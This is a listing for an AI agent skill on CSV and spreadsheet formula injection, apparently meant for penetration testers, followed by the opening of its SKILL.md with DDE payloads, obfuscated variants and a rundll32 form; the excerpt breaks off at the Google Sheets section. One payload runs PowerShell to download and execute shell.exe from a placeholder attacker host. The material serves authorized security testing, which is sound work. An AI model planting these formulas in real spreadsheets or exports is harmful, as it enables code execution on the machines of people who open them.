# Csv Formula Injection

CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*).

- Repository: https://github.com/yaklang/hack-skills (2601 stars)
- Category: Documents
- License: MIT
- Last updated: 2026-09-13
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add yaklang/hack-skills --skill csv-formula-injection -g -a claude-code -y`
Codex: `npx skills add yaklang/hack-skills --skill csv-formula-injection -g -a codex -y`
Cursor: `npx skills add yaklang/hack-skills --skill csv-formula-injection -g -a cursor -y`
Gemini CLI: `npx skills add yaklang/hack-skills --skill csv-formula-injection -g -a gemini-cli -y`

## Description

CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# SKILL: CSV Formula Injection

> **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**, prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

## 0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

```text
=
+
-
@
```

Test cells may look like:

```csv
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
```

**Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.

---

## 1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction:

```text
DDE("cmd";"/C calc";"!A0")A0
```

```text
@SUM(1+1)*cmd|' /C calc'!A0
```

```text
=2+5+cmd|' /C calc'!A0
```

```text
=cmd|' /C calc'!'A1'
```

PowerShell-style chaining (lab only; replace host and payload with benign equivalents):

```text
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```

---

## 2. OBFUSCATION

Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):

```text
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
```

Extra whitespace after `=`:

```text
=         cmd|'/c calc.exe'!A
```

Dispersed characters / unusual spacing (conceptual pattern, adjust per parser):

```text
=    C    m D    |'/c calc.exe'!A
```

`rundll32` style:

```text
=rundll32|'URL.dll,OpenURL calc.exe'!A
```

---

## 3. GOOGLE SHEETS

The rest: https://github.com/yaklang/hack-skills/blob/HEAD/skills/csv-formula-injection/SKILL.md